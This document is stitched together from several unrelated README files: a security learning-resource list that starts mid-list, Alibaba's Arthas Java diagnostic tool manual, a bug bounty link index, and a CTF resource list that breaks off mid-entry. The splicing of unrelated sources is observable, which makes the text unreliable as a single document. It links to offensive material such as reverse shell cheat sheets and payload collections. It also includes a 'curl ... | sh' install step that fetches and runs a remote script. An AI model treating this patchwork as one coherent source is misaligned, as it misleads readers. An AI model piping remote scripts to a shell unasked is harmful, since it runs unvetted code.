https://youtube.com/c/HackerSploit 5. Tib3rius: https://www.youtube.com/channel/UCs6dtu4e0JL-N4hVszsFpBw ### Books to be read 1. Real World Bug Hunting by Peter Yaworski 2. The Web Applications Hackers Handbook 2nd edition 3. Web Hacking 101 4. Bug Bounty Playbook 5. Zseano's Methodology ### Some Courses: 1. Hacktify: https://learn.hacktify.in 2. Ethical Hacking by Joseph Delgadillo : https://www.udemy.com/share/101qF6BEQdeFpQQHQ=/ 3. The Cyber Mentor's Course: https://www.udemy.com/course/practical-ethical-hacking/ 4. Tib3rius’s Privilege Escalation Courses for Win/Linux https://www.udemy.com/user/tib3rius/ ### Practice Web Penetration Testing 1. OWASP BWA: https://owasp.org/www-project-broken-web-applications/ 2. Portswinger's Labs: https://portswigger.net/web-security 3. Metasploitable: https://information.rapid7.com/download-metasploitable-2017.html ### Tools to start your bug hunting with 1. Nahamsec's Script: https://github.com/nahamsec/bbht.git 2. Awesome BBHT: https://github.com/0xApt/awesome-bbht 3. Portswinger's Burpsuite: https://portswigger.net/burp 4. OWASP Zap: https://owasp.org/www-project-zap/ ### Mind Maps 1. https://github.com/imran-parray/Mind-Maps 2. https://pentester.land/cheatsheets/2019/03/25/compilation-of-recon-workflows.html 3. https://hacktify.in/mindmap.png 4. https://twitter.com/ITSecurityguard/status/1306278129531486208/photo/1 5. https://twitter.com/Musab1995/status/1317071523946127361 ### One Liner Collections 1. https://github.com/dwisiswant0/awesome-oneliner-bugbounty 2. https://github.com/OfJAAH/KingOfBugBountyTips ### Awesome Bug Bounty Writeups 1. Business Logic Vulns : https://medium.com/bugbountywriteup/all-about-business-logic-flaws-in-web-applications-577d9d80bc33 2. SSRF Automation : https://notifybugme.medium.com/finding-ssrf-by-full-automation-7d2680091d68 3. JavaScript Recon : https://gist.github.com/m4ll0k/31ce0505270e0a022410a50c8b6311ff 4. Github For Bug Bounty Hunters : https://gist.github.com/EdOverflow/922549f610b258f459b219a32f92d10b 5. Windows/Linux Privilege Escaltion : https://github.com/sagishahar/lpeworkshop ## CTF's 1. CTFLearn : https://ctflearn.com 2. CTFTime : https://ctftime.org (All About CTF's) ## Machine Solving ### Online Resources 1. Hack The Box: https://www.hackthebox.eu/ 2. TryHackMe: https://tryhackme.com 3. Hacking Articles: https://www.hackingarticles.in 4. Pentester's Labs: https://pentesterlab.com 5. VulnHub: https://www.vulnhub.com 6. Over the Wire: https://overthewire.org/wargames/ 7. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet ### Youtuber's to follow 1. Ippsec: https://www.youtube.com/c/ippsec/videos ## Learn Linux ### Online Resources 1. Linux Journey: https://linuxjourney.com ### Courses 1. Introduction to Linux: https://www.edx.org/course/introduction-to-linux 2. Linux for Network Engineers: https://www.udemy.com/course/linux-for-network-engineers-practical-linux-with-gns3/learn/lecture/8124916?start=0#overview ## Learn Operating Systems 1. Prof. Messer CompTIA A+ playlist: https://www.youtube.com/watch?v=ChQ18B1hofI&list=PLG49S3nxzAnmwkCAdWUgCFvVK4IxMBTmb ## Learn Networking & Security ### Books 1. CompTIA Network + Study Guide: https://www.amazon.co.uk/CompTIA-Network-Study-Guide-Authorized/dp/1119432251 ### Courses 1. CBT Nuggets CompTIA Network: https://www.cbtnuggets.com/it-training/comptia/network-plus 2. INE Free Starter Pass: https://my.ine.com/area/e73fd5a8-2ead-4159-9a25-38b50ad4ab20 3. Professor Messer Network + Playlist: https://www.professormesser.com/network-plus/n10-007/n10-007-training-course/ 4. Intro to Cybersecurity by FutureLearn: https://www.futurelearn.com/courses/introduction-to-cyber-security 5. Lectures: MIT Computer Systems Security http://css.csail.mit.edu/6.858/2020/general.html 6. MITRE ATT&CK Course: https://attack.mitre.org/resources/training/cti/ 7. Khan Academy Cybersecurity 101: https://www.khanacademy.org/partner-content/nova/nova-labs-topic/cyber/v/cybersecurity-101 ## OSINT Resources ### Online Resources 1. https://www.osintdojo.com/resources/ 2. https://gowsundar.gitbook.io/book-of-bugbounty-tips/elastic-search ## OSCP Resource ### Online Resources 1. OSCP Repo: https://github.com/rewardone/OSCPRepo 2. TJnull’s OSCP Prep Guide https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html#conclusion ## Contributors 1. Vaibhav Lakhani: https://github.com/vlakhani28/ 2. Denish Vaghasia: https://github.com/D-e-n-i-s-h 3. Akshay Kerkar: https://github.com/Akshaykerkar 4. Zulfikar Bhanji: https://github.com/techforGod
## Arthas ![arthas](site/src/site/sphinx/arthas.png) [![Build Status](https://travis-ci.org/alibaba/arthas.svg?branch=master)](https://travis-ci.org/alibaba/arthas) [![codecov](https://codecov.io/gh/alibaba/arthas/branch/master/graph/badge.svg)](https://codecov.io/gh/alibaba/arthas) [![maven](https://img.shields.io/maven-central/v/com.taobao.arthas/arthas-packaging.svg)](https://search.maven.org/search?q=g:com.taobao.arthas) ![license](https://img.shields.io/github/license/alibaba/arthas.svg) [![Average time to resolve an issue](http://isitmaintained.com/badge/resolution/alibaba/arthas.svg)](http://isitmaintained.com/project/alibaba/arthas "Average time to resolve an issue") [![Percentage of issues still open](http://isitmaintained.com/badge/open/alibaba/arthas.svg)](http://isitmaintained.com/project/alibaba/arthas "Percentage of issues still open") `Arthas` is a Java Diagnostic tool open sourced by Alibaba. Arthas allows developers to troubleshoot production issues for Java applications without modifying code or restarting servers. [中文说明/Chinese Documentation](README_CN.md) ### Background Often times, the production system network is inaccessible from the local development environment. If issues are encountered in production systems, it is impossible to use IDEs to debug the application remotely. More importantly, debugging in production environment is unacceptable, as it will suspend all the threads, resulting in the suspension of business services. Developers could always try to reproduce the same issue on the test/staging environment. However, this is tricky as some issues cannot be be reproduced easily on a different environment, or even disappear once restarted. And if you're thinking of adding some logs to your code to help troubleshoot the issue, you will have to go through the following lifecycle; test, staging, and then to production. Time is money! This approach is inefficient! Besides, the issue may not be reproducible once the JVM is restarted, as described above. Arthas was built to solve these issues. A developer can troubleshoot your production issues on-the-fly. No JVM restart, no additional code changes. Arthas works as an observer, which will never suspend your existing threads. ### Key features * Check whether a class is loaded, or where the class is being loaded. (Useful for troubleshooting jar file conflicts) * Decompile a class to ensure the code is running as expected. * View classloader statistics, e.g. the number of classloaders, the number of classes loaded per classloader, the classloader hierarchy, possible classloader leaks, etc. * View the method invocation details, e.g. method parameter, return object, thrown exception, and etc. * Check the stack trace of specified method invocation. This is useful when a developers wants to know the caller of the said method. * Trace the method invocation to find slow sub-invocations. * Monitor method invocation statistics, e.g. qps, rt, success rate and etc. * Monitor system metrics, thread states and cpu usage, gc statistics, and etc. * Supports command line interactive mode, with auto-complete feature enabled. * Supports telnet and websocket, which enables both local and remote diagnostics with command line and browsers. * Supports JDK 6+. * Supports Linux/Mac/Windows. ### Online Tutorials(Recommend) * [Arthas Basics](https://alibaba.github.io/arthas/arthas-tutorials?language=en&id=arthas-basics) * [Arthas Advanced](https://alibaba.github.io/arthas/arthas-tutorials?language=en&id=arthas-advanced) ### Quick start #### Use `arthas-boot`(Recommend) Download`arthas-boot.jar`,Start with `java` command: ```bash wget https://alibaba.github.io/arthas/arthas-boot.jar java -jar arthas-boot.jar ``` Print usage: ```bash java -jar arthas-boot.jar -h ``` #### Use `as.sh` You can install Arthas with one single line command on Linux, Unix, and Mac. Copy the following command and paste it into the command line, then press *Enter* to run: ```bash curl -L https://alibaba.github.io/arthas/install.sh | sh ``` The command above will download the bootstrap script `as.sh` to the current directory. You can move it the any other place you want, or put its location in `$PATH`. You can enter its interactive interface by executing `as.sh`, or execute `as.sh -h` for more help information. ### Documentation * [Online Tutorials(Recommend)](https://alibaba.github.io/arthas/arthas-tutorials?language=en) * [User manual](https://alibaba.github.io/arthas/en) * [Installation](https://alibaba.github.io/arthas/en/install-detail.html) * [Quick start](https://alibaba.github.io/arthas/en/quick-start.html) * [Advanced usage](https://alibaba.github.io/arthas/en/advanced-use.html) * [Commands](https://alibaba.github.io/arthas/en/commands.html) * [Docker](https://alibaba.github.io/arthas/en/docker.html) * [User cases](https://github.com/alibaba/arthas/issues?q=label%3Auser-case) * [Questions and answers](https://github.com/alibaba/arthas/issues?utf8=%E2%9C%93&q=label%3Aquestion-answered+) * [Compile and debug/How to contribute](https://github.com/alibaba/arthas/blob/master/CONTRIBUTING.md) * [Release Notes](https://alibaba.github.io/arthas/en/release-notes.html) ### Feature Showcase #### Dashboard * https://alibaba.github.io/arthas/en/dashboard ![dashboard](site/src/site/sphinx/_static/dashboard.png) #### Thread See what is eating your cpu (ranked by top cpu usage) and what is going on there in one glance: ```bash $ thread -n 3 "as-command-execute-daemon" Id=29 cpuUsage=75% RUNNABLE at sun.management.ThreadImpl.dumpThreads0(Native Method) at sun.management.ThreadImpl.getThreadInfo(ThreadImpl.java:440) at com.taobao.arthas.core.command.monitor200.ThreadCommand$1.action(ThreadCommand.java:58) at com.taobao.arthas.core.command.handler.AbstractCommandHandler.execute(AbstractCommandHandler.java:238) at com.taobao.arthas.core.command.handler.DefaultCommandHandler.handleCommand(DefaultCommandHandler.java:67) at com.taobao.arthas.core.server.ArthasServer$4.run(ArthasServer.java:276) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) Number of locked synchronizers = 1 - java.util.concurrent.ThreadPoolExecutor$Worker@6cd0b6f8 "as-session-expire-daemon" Id=25 cpuUsage=24% TIMED_WAITING at java.lang.Thread.sleep(Native Method) at com.taobao.arthas.core.server.DefaultSessionManager$2.run(DefaultSessionManager.java:85) "Reference Handler" Id=2 cpuUsage=0% WAITING on java.lang.ref.Reference$Lock@69ba0f27 at java.lang.Object.wait(Native Method) - waiting on java.lang.ref.Reference$Lock@69ba0f27 at java.lang.Object.wait(Object.java:503) at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133) ``` #### jad Decompile your class with one shot: ```java $ jad javax.servlet.Servlet ClassLoader: +-java.net.URLClassLoader@6108b2d7 +-sun.misc.Launcher$AppClassLoader@18b4aac2 +-sun.misc.Launcher$ExtClassLoader@1ddf84b8 Location: /Users/xxx/work/test/lib/servlet-api.jar /* * Decompiled with CFR 0_122. */ package javax.servlet; import java.io.IOException; import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; public interface Servlet { public void init(ServletConfig var1) throws ServletException; public ServletConfig getServletConfig(); public void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; public String getServletInfo(); public void destroy(); } ``` #### mc Memory compiler, compiles `.java` files into `.class` files in memory. ```bash mc /tmp/Test.java ``` #### redefine Load the external `*.class` files to re-define the loaded classes in JVM. ```bash redefine /tmp/Test.class redefine -c 327a647b /tmp/Test.class /tmp/Test\$Inner.class ``` #### sc Search any loaded class with detailed information. ```bash $ sc -d org.springframework.web.context.support.XmlWebApplicationContext class-info org.springframework.web.context.support.XmlWebApplicationContext code-source /Users/xxx/work/test/WEB-INF/lib/spring-web-3.2.11.RELEASE.jar name org.springframework.web.context.support.XmlWebApplicationContext isInterface false isAnnotation false isEnum false isAnonymousClass false isArray false isLocalClass false isMemberClass false isPrimitive false isSynthetic false simple-name XmlWebApplicationContext modifier public annotation interfaces super-class +-org.springframework.web.context.support.AbstractRefreshableWebApplicationContext +-org.springframework.context.support.AbstractRefreshableConfigApplicationContext +-org.springframework.context.support.AbstractRefreshableApplicationContext +-org.springframework.context.support.AbstractApplicationContext +-org.springframework.core.io.DefaultResourceLoader +-java.lang.Object class-loader +-org.apache.catalina.loader.ParallelWebappClassLoader +-java.net.URLClassLoader@6108b2d7 +-sun.misc.Launcher$AppClassLoader@18b4aac2 +-sun.misc.Launcher$ExtClassLoader@1ddf84b8 classLoaderHash 25131501 ``` #### stack View the call stack of `test.arthas.TestStack#doGet`: ```bash $ stack test.arthas.TestStack doGet Press Ctrl+C to abort. Affect(class-cnt:1 , method-cnt:1) cost in 286 ms. ts=2018-09-18 10:11:45;thread_name=http-bio-8080-exec-10;id=d9;is_daemon=true;priority=5;TCCL=org.apache.catalina.loader.ParallelWebappClassLoader@25131501 @test.arthas.TestStack.doGet() at javax.servlet.http.HttpServlet.service(HttpServlet.java:624) at javax.servlet.http.HttpServlet.service(HttpServlet.java:731) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110) ... at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:451) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1121) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:637) at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:745) ``` #### Trace See what is slowing down your method invocation with trace command: ![trace](site/src/site/sphinx/_static/trace.png) #### Watch Watch the first parameter and thrown exception of `test.arthas.TestWatch#doGet` only if it throws exception. ```bash $ watch test.arthas.TestWatch doGet {params[0], throwExp} -e Press Ctrl+C to abort. Affect(class-cnt:1 , method-cnt:1) cost in 65 ms. ts=2018-09-18 10:26:28;result=@ArrayList[ @RequestFacade[org.apache.catalina.connector.RequestFacade@79f922b2], @NullPointerException[java.lang.NullPointerException], ] ``` #### Monitor Monitor a specific method invocation statistics, including total number of invocations, average response time, success rate, and every 5 seconds: ```bash $ monitor -c 5 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello Press Ctrl+C to abort. Affect(class-cnt:1 , method-cnt:1) cost in 109 ms. timestamp class method total success fail avg-rt(ms) fail-rate ---------------------------------------------------------------------------------------------------------------------------- 2018-09-20 09:45:32 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 0.67 0.00% timestamp class method total success fail avg-rt(ms) fail-rate ---------------------------------------------------------------------------------------------------------------------------- 2018-09-20 09:45:37 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 1.00 0.00% timestamp class method total success fail avg-rt(ms) fail-rate ---------------------------------------------------------------------------------------------------------------------------- 2018-09-20 09:45:42 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 0.43 0.00% ``` #### Time Tunnel(tt) Record method invocation data, so that you can check the method invocation parameters, returned value, and thrown exceptions later. It works as if you could come back and replay the past method invocation via time tunnel. ```bash $ tt -t org.apache.dubbo.demo.provider.DemoServiceImpl sayHello Press Ctrl+C to abort. Affect(class-cnt:1 , method-cnt:1) cost in 75 ms. INDEX TIMESTAMP COST(ms) IS-RET IS-EXP OBJECT CLASS METHOD ------------------------------------------------------------------------------------------------------------------------------------- 1000 2018-09-20 09:54:10 1.971195 true false 0x55965cca DemoServiceImpl sayHello 1001 2018-09-20 09:54:11 0.215685 true false 0x55965cca DemoServiceImpl sayHello 1002 2018-09-20 09:54:12 0.236303 true false 0x55965cca DemoServiceImpl sayHello 1003 2018-09-20 09:54:13 0.159598 true false 0x55965cca DemoServiceImpl sayHello 1004 2018-09-20 09:54:14 0.201982 true false 0x55965cca DemoServiceImpl sayHello 1005 2018-09-20 09:54:15 0.214205 true false 0x55965cca DemoServiceImpl sayHello 1006 2018-09-20 09:54:16 0.241863 true false 0x55965cca DemoServiceImpl sayHello 1007 2018-09-20 09:54:17 0.305747 true false 0x55965cca DemoServiceImpl sayHello 1008 2018-09-20 09:54:18 0.18468 true false 0x55965cca DemoServiceImpl sayHello ``` #### Classloader ```bash $ classloader name numberOfInstances loadedCountTotal BootstrapClassLoader 1 3346 com.taobao.arthas.agent.ArthasClassloader 1 1262 java.net.URLClassLoader 2 1033 org.apache.catalina.loader.ParallelWebappClassLoader 1 628 sun.reflect.DelegatingClassLoader 166 166 sun.misc.Launcher$AppClassLoader 1 31 com.alibaba.fastjson.util.ASMClassLoader 6 15 sun.misc.Launcher$ExtClassLoader 1 7 org.jvnet.hk2.internal.DelegatingClassLoader 2 2 sun.reflect.misc.MethodUtil 1 1 ``` #### Web Console * https://alibaba.github.io/arthas/en/web-console ![web console](site/src/site/sphinx/_static/web-console-local.png) ### Known Users Welcome to register the company name in this issue: https://github.com/alibaba/arthas/issues/111 (in order of registration) ![Alibaba](static/alibaba.png) ![Alipay](static/alipay.png) ![Aliyun](static/aliyun.png) ![Taobao](static/taobao.png) ![Tmall](static/tmall.png) ![微医](static/weiyi.png) ![卓越教育](static/zhuoyuejiaoyu.png) ![狐狸金服](static/hulijingfu.png) ![三体云](static/santiyun.png) ![证大文化](static/zhengdawenhua.png) ![连连支付](static/lianlianpay.png) ![Acmedcare+](static/acmedcare.png) ![好慷](static/homeking365_log.png) ![来电科技](static/laidian.png) ![四格互联](static/sigehulian.png) ![ICBC](static/icbc.png) ![陆鹰](static/luying.png) ![玩友时代](static/wangyoushidai.png) ![她社区](static/tashequ.png) ![龙腾出行](static/longtengchuxing.png) ![foscam](static/foscam.png) ![二维火](static/2dfire.png) ![lanxum](static/lanxum_com.png) ![纳里健康](static/ngarihealth.png) ![掌门1对1](static/zhangmen.png) ![offcn](static/offcn.png) ![sia](static/sia.png) ![振安资产](static/zhenganzichang.png) ![菠萝](static/bolo.png) ![中通快递](static/zto.png) ![光点科技](static/guangdian.png) ![广州工程技术职业学院](static/gzvtc.jpg) ![mstar](static/mstar.png) ![xwbank](static/xwbank.png) ![imexue](static/imexue.png) ![keking](static/keking.png) ![secoo](static/secoo.jpg) ![viax](static/viax.png) ![yanedu](static/yanedu.png) ![duia](static/duia.png) ![哈啰出行](static/hellobike.png) ![hollycrm](static/hollycrm.png) ![citycloud](static/citycloud.jpg) ![yidianzixun](static/yidianzixun.png) ![神州租车](static/zuche.png) ![天眼查](static/tianyancha.png) ![商脉云](static/anjianyun.png) ![三新文化](static/sanxinbook.png) ![雪球财经](static/xueqiu.png) ![百安居](static/bthome.png) ![安心保险](static/95303.png) ![杭州源诚科技](static/hzyc.png) ![91moxie](static/91moxie.png) ![智慧开源](static/wisdom.png) ![富佳科技](static/fujias.png) ![鼎尖软件](static/dingjiansoft.png) ![广通软件](static/broada.png) ![九鼎瑞信](static/evercreative.jpg) ![小米有品](static/xiaomiyoupin.png) ![欧冶云商](static/ouyeel.png) ![投投科技](static/toutou.png) ![饿了么](static/ele.png) ![58同城](static/58.png) ![上海浪沙](static/runsa.png) ![符律科技](static/fhldtech.png) ![顺丰科技](static/sf.png) ![新致软件](static/newtouch.png) ![北京华宇信息](static/thunisoft.png) ![太平洋保险](static/cpic.png) ![旅享网络](static/risingch.png) ![水滴互联](static/shuidihuzhu.png) ![贝壳找房](static/ke.png) ![嘟嘟牛](static/dodonew.png) ![云幂信息](static/yunmixinxi.png) ![随手科技](static/sui.png) ![妈妈去哪儿](static/mamaqunaer.jpg) ![云实信息](static/realscloud.png) ![BBD数联铭品](static/bbdservice.png) ![伙伴集团](static/zhaoshang800.png) ![数梦工场](static/dtdream.png) ![安恒信息](static/dbappsecurity.png) ### Derivative Projects * [Bistoury: A project that integrates Arthas](https://github.com/qunarcorp/bistoury) * [A fork of arthas using MVEL](https://github.com/XhinLiang/arthas) ### Credit #### Contributors This project exists thanks to all the people who contribute. <a href="https://github.com/alibaba/arthas/graphs/contributors"><img src="https://opencollective.com/arthas/contributors.svg?width=890&button=false" /></a> #### Projects * [greys-anatomy](https://github.com/oldmanpushcart/greys-anatomy): The Arthas code base has derived from Greys, we thank for the excellent work done by Greys. * [termd](https://github.com/termd/termd): Arthas's terminal implementation is based on termd, an open source library for writing terminal applications in Java. * [crash](https://github.com/crashub/crash): Arthas's text based user interface rendering is based on codes extracted from [here](https://github.com/crashub/crash/tree/1.3.2/shell) * [cli](https://github.com/eclipse-vertx/vert.x/tree/master/src/main/java/io/vertx/core/cli): Arthas's command line interface implementation is based on cli, open sourced by vert.x * [compiler](https://github.com/skalogs/SkaETL/tree/master/compiler) Arthas's memory compiler. * [Apache Commons Net](https://commons.apache.org/proper/commons-net/) Arthas's telnet client.
## Files: - [Domain Enumeration](./Domain-enumeration.md) - [Recon ](./recon.md) - [Tools](./tools.md) ## Bug Bounty Resources - [The Bug Hunters Methodology](https://github.com/jhaddix/tbhm) - [Awesome Bug Bounty](https://github.com/djadmin/awesome-bug-bounty) - [ Bug Bounty Guide is a launchpad for bug bounty programs and bug bounty hunters. ](https://github.com/EdOverflow/bugbountyguide) - [Tools Lists- by (https://github.com/MrR3boot)](https://github.com/MrR3boot/mrr3boot.github.io) - [Awesome Bug Bounty - part 2](https://github.com/Muhammd/awesome-bug-bounty) - [Bug Bounty Cheatsheet](https://github.com/EdOverflow/bugbounty-cheatsheet) - [Awesome security](https://github.com/sbilly/awesome-security) - [Concise Cheatsheet](https://github.com/rudymatela/concise-cheat-sheets/blob/master/README.md) - [Web CTF Cheatsheet](https://github.com/w181496/Web-CTF-Cheatsheet/blob/master/README.md) - [MobileApp-Pentest-Cheatsheet](https://github.com/sh4hin/MobileApp-Pentest-Cheatsheet) - [pentest Bookmarks](https://github.com/jhaddix/pentest-bookmarks/blob/master/wiki/BookmarksList.wiki) - [Bug Bounty references](https://github.com/ngalongc/bug-bounty-reference) ******* ## POC and Writeups - [awsome-security-write-ups-and-POCs](https://github.com/dhaval17/awsome-security-write-ups-and-POCs) - [List of bug-bounty writeups](https://pentester.land/list-of-bug-bounty-writeups.html)
# CTF-Learning-Resources ## `General Wargames & Practice Platforms` - [Over The Wire](http://overthewire.org/wargames/) - [cmdchallenge](https://cmdchallenge.com/) - [PicoCTF](https://picoctf.com) - [CTFLearn](https://ctflearn.com) - [247ctf](https://247ctf.com/) - [Intro. to CTF Course](https://www.hoppersroppers.org/courseCTF.html) - [TryHackMe](https://tryhackme.com) - [HackTheBox](https://hackthebox.eu) - [Root-Me](https://www.root-me.org/) - [VulnHub](https://www.vulnhub.com/) - [CTFLearn](https://ctflearn.com) - [Exploit.Education](http://exploit.education) - [imaginaryctf](https://imaginaryctf.org/) - [blueteamlabs](https://blueteamlabs.online/) <br/> ## `WEB EXPLOITATION` - [Port Swigger/Burpsuite Academy](https://portswigger.net/web-security) - [Overthewire-natas](https://overthewire.org/wargames/natas/) - [Owasp-Juice-Shop](https://github.com/juice-shop/juice-shop) - [WebHacking](http://webhacking.kr) - [websec.fr](http://websec.fr/) - [Resources-for-Beginner-Bug-Bounty-Hunters](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters) - [zseano's-methodology-identifing-security-vulns](https://www.bugbountyhunter.com/methodology/zseanos-methodology.pdf) <br/> ## `CRYPTOGRAPHY` - [cryptopals](https://cryptopals.com/) - [cryptohack](https://cryptohack.org/) - [crypto-stanford-notes](https://crypto.stanford.edu/pbc/notes/) - [crypton](https://github.com/ashutosh1206/Crypton) - [youtube-playlist](https://www.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg/videos) : `Introduction to Cryptography by Christof Paar` - `Understanding-Cryptography` : `Book by Christof Paar . Jan Pelzl` #### Tools * [CyberChef](https://gchq.github.io/CyberChef) - Web app for analysing and decoding data. * [FeatherDuster](https://github.com/nccgroup/featherduster) - An automated, modular cryptanalysis tool. * [Hash Extender](https://github.com/iagox86/hash_extender) - A utility tool for performing hash length extension attacks. * [padding-oracle-attacker](https://github.com/KishanBagaria/padding-oracle-attacker) - A CLI tool to execute padding oracle attacks. * [PkCrack](https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html) - A tool for Breaking PkZip-encryption. * [QuipQuip](https://quipqiup.com) - An online tool for breaking substitution ciphers or vigenere ciphers (without key). * [RSACTFTool](https://github.com/Ganapati/RsaCtfTool) - A tool for recovering RSA private key with various attack. * [RSATool](https://github.com/ius/rsatool) - Generate private key with knowledge of p and q. * [XORTool](https://github.com/hellman/xortool) - A tool to analyze multi-byte xor cipher <br/> ## `BINARY EXPLOITATION` - [nightmare](https://guyinatuxedo.github.io/) - [ir0nstone](https://ir0nstone.gitbook.io/notes/) - [Architecture 2001: x86-64 OS Internals](https://p.ost2.fyi/dashboard) - [Modern-Binary-Exploitation-by-RPISEC](http://security.cs.rpi.edu/courses/binexp-spring2015/) - `The-C-Programming-Language` : `Book by Ed Prentice Hall, Brian W Kernighan and Dennis M Ritchie` - [pwnable.xyz](https://pwnable.xyz/) - [pwnable.kr](https://pwnable.kr/) - [ropemporium](https://ropemporium.com/) - [Binary Exploitation&MemoryCorruption by LiveOverflow](https://www.youtube.com/watch?v=iyAyN3GFM7A&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN) <br/> ## `HEAP EXPLOITATION` - [how2heap](https://github.com/shellphish/how2heap) - [heap-exploitation by dhavalkapil](https://heap-exploitation.dhavalkapil.com/) - [Gynvael Heap Basics](https://www.youtube.com/watch?v=OwQk9Ti4mg4) - [Exploit-Exercises Protostar Heap Challenges](https://exploit.education/protostar/) <br/> ## `KERNEL EXPLOITATION` - [linux-kernel-exploitation](https://github.com/xairy/linux-kernel-exploitation) - [kernel-exploit-practice](https://github.com/pr0cf5/kernel-exploit-practice) - [The Linux Kernel Module Programming Guide](https://sysprog21.github.io/lkmpg/) <br/> ## `REVERSE ENGINEERING` - [x86-guide](https://www.cs.virginia.edu/~evans/cs216/guides/x86.html) - [crackme.one](https://crackmes.one/) - [Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering) - [Reversin.kr](http://reversing.kr/) - `Reverse Engineering for Beginners` : `Book by Dennis Yurichev` - [Overthewire-maze](https://overthewire.org/wargames/maze/) - [Micro Corruption](https://microcorruption.com) <br/> ## `FORENSICS` - [Memlabs](https://github.com/stuxnet999/MemLabs) - [Wireshark Tutorial For Beginners](https://www.youtube.com/playlist?list=PLR0bgGon_WTK9PHDzrlje4bqEh3p0NxxX) - [DFIR.Science](https://www.youtube.com/channel/UCOSFVxvpr3OPiaJSwHWN8BQ) - [ree-digital-forensics-training](https://freetraining.dfirdiva.com/free-digital-forensics-training) - [digital-forensics-notes](https://themayor.notion.site/a47e5899e9174fe5b65f53ac9661e640?v=7c5f2dc65d814389958a2592007597c2) - [r/computerforensics](https://www.reddit.com/r/computerforensics/wiki/resources#wiki_youtube) <br/> ## `Malware Analysis` * [Blue Team Labs Online](https://blueteamlabs.online) <br/> ## `YOUTUBE-CHANNELS` - [TheCyberMentor](https://www.youtube.com/c/TheCyberMentor) - [John Hammond](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw) - [Nahamsec](https://www.youtube.com/c/Nahamsec/) - [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) - [Tib3rius](https://www.youtube.com/c/Tib3rius) - [TheXSSrat](https://www.youtube.com/c/TheXSSrat) - [PwnFunction](https://www.youtube.com/c/PwnFunction) - [codingo](https://www.youtube.com/c/codingo) - [DEFCONConference](https://www.youtube.com/user/DEFCONConference) - [BugBountyReportsExplained](https://www.youtube.com/c/BugBountyReportsExplained) <br/> ## `PODCASTS` + [DarknetDiaries](https://darknetdiaries.com/) + [Decipher Security](https://www.buzzsprout.com/228511) + [Security Now](https://www.grc.com/securitynow.htm) + [risky.biz](https://risky.biz/) + [Cyber (Motherboard)](https://www.vice.com/en_us/article/59vpnx/introducing-cyber-a-hacking-podcast-by-motherboard) + [InSecurity](https://threatvector.cylance.com/en_us/category/podcasts.html) + [Unnamedre](https://unnamedre.com/) <br/> ## `BLOGS` - [phrack](http://www.phrack.org/) - [Diary of a Reverse Engineer](https://doar-e.github.io/index.html) - [gynvael-blogs](https://gynvael.coldwind.pl/) - [fuzzysecurity](http://www.fuzzysecurity.com/tutorials.html) - [codearcana-fmt-strings](https://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html) - [bugbounty-search-engine](https://www.bugbountyhunting.com/) - [linux enumeration](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) ### `Tutorials to learn how to play CTFs` * [CTF Field Guide](https://trailofbits.github.io/ctf/) - Field Guide by Trails of Bits. * [CTF Resources](http://ctfs.github.io/resources/) - Start Guide maintained by community. * [How to Get Started in CTF](https://www.endgame.com/blog/how-get-started-ctf) - Short guideline for CTF beginners by Endgame * [Intro. to CTF Course](https://www.hoppersroppers.org/courseCTF.html) - A free course that teaches beginners the basics of forensics, crypto, and web-ex. <br/> ## `Cheat Sheets` - [Tiny-XSS-Payloads](https://tinyxss.terjanq.me/) - [PayloadsAllTheThings](https://github.com/s0wr0b1ndef/PayloadsAllTheThings) - [gtfobins](https://gtfobins.github.io/) - 